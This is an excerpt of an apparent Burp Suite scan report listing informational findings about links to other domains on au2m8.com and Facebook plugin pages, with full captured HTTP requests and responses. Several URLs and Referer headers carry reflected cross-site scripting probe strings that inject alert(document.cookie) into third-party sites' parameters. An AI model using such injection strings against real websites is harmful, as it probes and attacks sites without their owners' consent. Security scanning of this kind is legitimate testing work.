GET /v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://files.video-loader.com/au2m8_preloader/81211909126097148926263.htm?vs=1&r=www.kledy.de%2Fbookmarks.php&s=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&t=76345
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Set-Cookie: ARPT=NQJKKYS192.168.100.219CKOWU; path=/
Date: Sat, 05 Feb 2011 23:08:10 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sat, 05 Feb 2011 23:08:10 GMT
Last-Modified: Sat, 05 Feb 2011 23:08:10 GMT
Set-Cookie: countryID=us; expires=Sun, 05-Feb-2012 23:08:10 GMT; path=/; domain=.au2m8.com
Set-Cookie: bpl1296950890=1296947290; expires=Sun, 06-Feb-2011 00:08:10 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 00:08:10 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 00:08:10 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=deleted; expires=Fri, 05-Feb-2010 23:08:09 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11376

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sat, 05 Feb 2011 23:08:10 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...
<div id='playerDummydiv'>
<img src='http://videos.video-loader.com/_year2011/11559/bigcatch.jpg' style='border:0px none;width:200px;height:185px'>
</div>
...[SNIP]...
2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&auto=1&yuJn=8117&videoID=5731&ajax=1');" > <img src='http://videos.video-loader.com/au2m8/light-verysmall-player.gif' style='border:0px none;width:200px;height:185px'></a>
...[SNIP]...

20.178. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The page was loaded from a URL containing a query string:

http://www.au2m8.com/v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2

The response contains the following links to other domains:

http://videos.video-loader.com/456/gvntutorial.jpg
http://videos.video-loader.com/au2m8/light-verysmall-player.gif

Request

GET /v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; bpl1297002238=1296998638; videoID=expired; auto=expired; playlist=5731; j2playlist=4881; ARPT=NQJKKYS192.168.100.219CKOWU

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:24:47 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 13:24:47 GMT
Last-Modified: Sun, 06 Feb 2011 13:24:47 GMT
Set-Cookie: bpl1297002287=1296998687; expires=Sun, 06-Feb-2011 14:24:47 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 14:24:47 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 14:24:47 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 13:24:47 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11476

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 13:24:47 GMT">
    <title>Facebook Tutorial </title>
    <style type='text/css'>
    <!--

...[SNIP]...
<div id='playerDummydiv'>
<img src='http://videos.video-loader.com/456/gvntutorial.jpg' style='border:0px none;width:200px;height:185px'>
</div>
...[SNIP]...
2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&auto=1&yuJn=7551&videoID=4881&ajax=1');" > <img src='http://videos.video-loader.com/au2m8/light-verysmall-player.gif' style='border:0px none;width:200px;height:185px'></a>
...[SNIP]...

20.179. http://www.facebook.com/pages/Orthopaedic-Trauma-Association/212018968439 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/pages/Orthopaedic-Trauma-Association/212018968439

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/pages/Orthopaedic-Trauma-Association/212018968439?ref=search&sid=1357027577.2299684249..1&v=wall

The response contains the following links to other domains:

http://b.static.ak.fbcdn.net/rsrc.php/yE/r/vKC7KTGk0BI.css
http://b.static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml
http://b.static.ak.fbcdn.net/rsrc.php/yK/r/RUlAZi5mpi3.css
http://c.static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js
http://c.static.ak.fbcdn.net/rsrc.php/yo/r/8Og39uOsjg5.css
http://d.static.ak.fbcdn.net/rsrc.php/yv/r/cKdkwhZdle0.css
http://e.static.ak.fbcdn.net/rsrc.php/yi/r/q9U99v3_saj.ico
http://f.static.ak.fbcdn.net/rsrc.php/yX/r/8v6XwwC31BN.css
http://f.static.ak.fbcdn.net/rsrc.php/yX/r/xDKZ0Z55ipf.css
http://static.ak.fbcdn.net/rsrc.php/yp/r/kk8dc2UJYJ4.png

Request

Response

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p"
Pragma: no-cache
Set-Cookie: datr=JslNTQvcuvBm8glwbtNJrYQt; expires=Mon, 04-Feb-2013 22:03:18 GMT; path=/; domain=.facebook.com; httponly
Set-Cookie: lsd=Nxr12; path=/; domain=.facebook.com
Content-Type: text/html; charset=utf-8
Connection: close
Date: Sat, 05 Feb 2011 22:03:18 GMT
Content-Length: 143785

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class=
...[SNIP]...
</noscript>
<link type="text/css" rel="stylesheet" href="http://d.static.ak.fbcdn.net/rsrc.php/yv/r/cKdkwhZdle0.css" />
<link type="text/css" rel="stylesheet" href="http://c.static.ak.fbcdn.net/rsrc.php/yo/r/8Og39uOsjg5.css" />
<link type="text/css" rel="stylesheet" href="http://f.static.ak.fbcdn.net/rsrc.php/yX/r/xDKZ0Z55ipf.css" />
<link type="text/css" rel="stylesheet" href="http://b.static.ak.fbcdn.net/rsrc.php/yK/r/RUlAZi5mpi3.css" />
<link type="text/css" rel="stylesheet" href="http://f.static.ak.fbcdn.net/rsrc.php/yX/r/8v6XwwC31BN.css" />
<link type="text/css" rel="stylesheet" href="http://b.static.ak.fbcdn.net/rsrc.php/yE/r/vKC7KTGk0BI.css" />

<script type="text/javascript" src="http://c.static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js"></script>

<link rel="alternate" type="application/rss+xml" title="Orthopaedic Trauma Association" href="/feeds/page.php?format=atom10&id=212018968439"/>
<link rel="search" type="application/opensearchdescription+xml" href="http://b.static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml" title="Facebook" />
<link rel="shortcut icon" href="http://e.static.ak.fbcdn.net/rsrc.php/yi/r/q9U99v3_saj.ico" /></head>
...[SNIP]...
<a class="lfloat" href="/" title="Go to Facebook Home"><img class="fb_logo img" src="http://static.ak.fbcdn.net/rsrc.php/yp/r/kk8dc2UJYJ4.png" alt="Facebook logo" width="170" height="36" /></a>
...[SNIP]...

20.180. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/plugins/like.php?href=http%253A%252F%252Fwww.manualsonline.com%252F&layout=standard&show_faces=true&width=450&action=like&font=arial&colorscheme=light&height=80

The response contains the following links to other domains:

http://static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js
http://static.ak.fbcdn.net/rsrc.php/yt/r/CJLVmfhHQeD.css

Request

GET /plugins/like.php?href=http%253A%252F%252Fwww.manualsonline.com%252F&layout=standard&show_faces=true&width=450&action=like&font=arial&colorscheme=light&height=80 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%2527%253balert%25281%2529%252f%252f35f276845e/product_problem
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; datr=8CJHTYhjyotVYfKpZ5B35lnF

Response

20.181. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/plugins/likebox.php?channel=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fa%3Da%23cb%3Df1b4075608%26origin%3Dhttp%253A%252F%252Fwww.pointehilton.com%252Ffd8013e2c%26relation%3Dparent.parent%26transport%3Dpostmessage&colorscheme=light&header=false&height=62&href=http%3A%2F%2Fwww.facebook.com%2Fpointeresortsaz&locale=en_US&sdk=joey&show_faces=false&stream=false&width=310

The response contains the following links to other domains:

http://b.static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml
http://b.static.ak.fbcdn.net/rsrc.php/yV/r/48SBskNJuXC.css
http://b.static.ak.fbcdn.net/rsrc.php/yp/r/mFutiZvI9yq.css
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs467.snc4/50334_111924122710_3165374_q.jpg
http://static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js
http://static.ak.fbcdn.net/rsrc.php/yi/r/q9U99v3_saj.ico

Request

Response

20.182. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/plugins/likebox.php?id=13004060847&width=292&connections=10&stream=true&header=false&height=455

The response contains the following links to other domains:

http://b.static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml
http://b.static.ak.fbcdn.net/rsrc.php/yV/r/48SBskNJuXC.css
http://b.static.ak.fbcdn.net/rsrc.php/yo/r/UlIqmHJn-SK.gif
http://b.static.ak.fbcdn.net/rsrc.php/yp/r/mFutiZvI9yq.css
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs1327.snc4/161777_100000403287865_1107533_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs1344.snc4/161509_100000784108066_7466328_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs1347.snc4/162059_13004060847_2013714_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs1432.snc4/173367_668497589_634960_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs1434.snc4/173510_100001027530386_5530103_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs1434.snc4/173511_723015724_7801728_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs427.ash2/70683_100000139673813_6579273_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs571.ash1/173669_100001696790039_6018942_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs575.ash1/173979_100001356621099_8064850_q.jpg
http://static.ak.fbcdn.net/rsrc.php/y9/r/jKEcVPZFk-2.gif
http://static.ak.fbcdn.net/rsrc.php/yH/r/eIpbnVKI9lR.png
http://static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js
http://static.ak.fbcdn.net/rsrc.php/yi/r/q9U99v3_saj.ico

Request

GET /plugins/likebox.php?id=13004060847&width=292&connections=10&stream=true&header=false&height=455 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://us.blackberry.com/smartphones/94178%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ed0d62204af5/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; datr=8CJHTYhjyotVYfKpZ5B35lnF

Response

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: no-cache
Content-Type: text/html; charset=utf-8
X-Cnection: close
Date: Sun, 06 Feb 2011 13:32:53 GMT
Content-Length: 12964

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class=
...[SNIP]...
</title>

<link type="text/css" rel="stylesheet" href="http://b.static.ak.fbcdn.net/rsrc.php/yV/r/48SBskNJuXC.css" />
<link type="text/css" rel="stylesheet" href="http://b.static.ak.fbcdn.net/rsrc.php/yp/r/mFutiZvI9yq.css" />

<script type="text/javascript" src="http://static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js"></script>

<link rel="search" type="application/opensearchdescription+xml" href="http://b.static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml" title="Facebook" />
<link rel="shortcut icon" href="http://static.ak.fbcdn.net/rsrc.php/yi/r/q9U99v3_saj.ico" /></head>
...[SNIP]...
<a href="http://www.facebook.com/BlackBerry" target="_blank"><img class="profileimage img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs1347.snc4/162059_13004060847_2013714_q.jpg" alt="BlackBerry" /></a>
...[SNIP]...
<div class="page_stream_short" id="stream_content"><img class="loader img" src="http://static.ak.fbcdn.net/rsrc.php/y9/r/jKEcVPZFk-2.gif" width="32" height="32" /></div>
...[SNIP]...
<a href="" target="_blank"><img class="img" src="http://b.static.ak.fbcdn.net/rsrc.php/yo/r/UlIqmHJn-SK.gif" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100000784108066" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs1344.snc4/161509_100000784108066_7466328_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/fabianomorige" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs1434.snc4/173511_723015724_7801728_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/dcmoncayo" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs1432.snc4/173367_668497589_634960_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/ajouli1" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs575.ash1/173979_100001356621099_8064850_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/laprincesita.inigulable" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs1434.snc4/173510_100001027530386_5530103_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100000403287865" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs1327.snc4/161777_100000403287865_1107533_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100000139673813" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs427.ash2/70683_100000139673813_6579273_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100001696790039" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs571.ash1/173669_100001696790039_6018942_q.jpg" /><div class="name">
...[SNIP]...
<a class="UIImageBlock_Image UIImageBlock_ICON_Image" target="_blank" href="http://developers.facebook.com/plugins/?footer=1" tabindex="-1"><img class="img" src="http://static.ak.fbcdn.net/rsrc.php/yH/r/eIpbnVKI9lR.png" width="14" height="14" /></a>
...[SNIP]...

20.183. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/plugins/likebox.php?id=344540630304&width=240&connections=10&stream=false&header=false&height=255

The response contains the following links to other domains:

http://b.static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml
http://b.static.ak.fbcdn.net/rsrc.php/yV/r/48SBskNJuXC.css
http://b.static.ak.fbcdn.net/rsrc.php/yo/r/UlIqmHJn-SK.gif
http://b.static.ak.fbcdn.net/rsrc.php/yp/r/mFutiZvI9yq.css
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs1324.snc4/161503_100001065519057_4434378_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs1325.snc4/161579_100000467074573_7798087_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs1342.snc4/161336_100000761362220_4631323_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs236.ash2/50512_344540630304_4849853_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs442.snc4/48814_100001509611884_6558_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs566.ash1/173261_100001432693553_6400687_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs714.ash1/161257_100001445159058_3974301_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs714.ash1/161264_100000049842050_4108649_q.jpg
http://static.ak.fbcdn.net/rsrc.php/yH/r/eIpbnVKI9lR.png
http://static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js
http://static.ak.fbcdn.net/rsrc.php/yi/r/q9U99v3_saj.ico

Request

GET /plugins/likebox.php?id=344540630304&width=240&connections=10&stream=false&header=false&height=255 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.kledy.de/bookmarks.php?18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; datr=8CJHTYhjyotVYfKpZ5B35lnF

Response

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: no-cache
Content-Type: text/html; charset=utf-8
X-Cnection: close
Date: Sat, 05 Feb 2011 23:08:08 GMT
Content-Length: 12261

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class=
...[SNIP]...
</title>

<link type="text/css" rel="stylesheet" href="http://b.static.ak.fbcdn.net/rsrc.php/yV/r/48SBskNJuXC.css" />
<link type="text/css" rel="stylesheet" href="http://b.static.ak.fbcdn.net/rsrc.php/yp/r/mFutiZvI9yq.css" />

<script type="text/javascript" src="http://static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js"></script>

<link rel="search" type="application/opensearchdescription+xml" href="http://b.static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml" title="Facebook" />
<link rel="shortcut icon" href="http://static.ak.fbcdn.net/rsrc.php/yi/r/q9U99v3_saj.ico" /></head>
...[SNIP]...
<a href="http://www.facebook.com/pages/Kledyde/344540630304" target="_blank"><img class="profileimage img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs236.ash2/50512_344540630304_4849853_q.jpg" alt="Kledy.de" /></a>
...[SNIP]...
<a href="" target="_blank"><img class="img" src="http://b.static.ak.fbcdn.net/rsrc.php/yo/r/UlIqmHJn-SK.gif" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100001432693553" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs566.ash1/173261_100001432693553_6400687_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100000761362220" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs1342.snc4/161336_100000761362220_4631323_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/uschi.eller" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs714.ash1/161264_100000049842050_4108649_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100001445159058" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs714.ash1/161257_100001445159058_3974301_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100001984534479" target="_blank"><img class="img" src="http://b.static.ak.fbcdn.net/rsrc.php/yo/r/UlIqmHJn-SK.gif" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100001826188630" target="_blank"><img class="img" src="http://b.static.ak.fbcdn.net/rsrc.php/yo/r/UlIqmHJn-SK.gif" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100001682180010" target="_blank"><img class="img" src="http://b.static.ak.fbcdn.net/rsrc.php/yo/r/UlIqmHJn-SK.gif" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100001509611884" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs442.snc4/48814_100001509611884_6558_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/marytere.medina" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs1324.snc4/161503_100001065519057_4434378_q.jpg" /><div class="name">
...[SNIP]...
<a target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs1325.snc4/161579_100000467074573_7798087_q.jpg" /><div class="name">
...[SNIP]...
<a class="UIImageBlock_Image UIImageBlock_ICON_Image" target="_blank" href="http://developers.facebook.com/plugins/?footer=1" tabindex="-1"><img class="img" src="http://static.ak.fbcdn.net/rsrc.php/yH/r/eIpbnVKI9lR.png" width="14" height="14" /></a>
...[SNIP]...

20.184. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/plugins/likebox.php?id=344540630304&width=240&connections=10&stream=false&header=false&height=255

The response contains the following links to other domains:

http://b.static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml
http://b.static.ak.fbcdn.net/rsrc.php/yV/r/48SBskNJuXC.css
http://b.static.ak.fbcdn.net/rsrc.php/yo/r/UlIqmHJn-SK.gif
http://b.static.ak.fbcdn.net/rsrc.php/yp/r/mFutiZvI9yq.css
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs1324.snc4/161503_100001065519057_4434378_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs1325.snc4/161579_100000467074573_7798087_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs1342.snc4/161336_100000761362220_4631323_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs236.ash2/50512_344540630304_4849853_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs566.ash1/173261_100001432693553_6400687_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs569.ash1/173573_100002035720154_4215882_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs712.ash1/161097_1560705907_2385000_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs714.ash1/161257_100001445159058_3974301_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs714.ash1/161264_100000049842050_4108649_q.jpg
http://static.ak.fbcdn.net/rsrc.php/yH/r/eIpbnVKI9lR.png
http://static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js
http://static.ak.fbcdn.net/rsrc.php/yi/r/q9U99v3_saj.ico

Request

Response

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: no-cache
Content-Type: text/html; charset=utf-8
X-Cnection: close
Date: Sat, 05 Feb 2011 23:07:33 GMT
Content-Length: 12264

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class=
...[SNIP]...
</title>

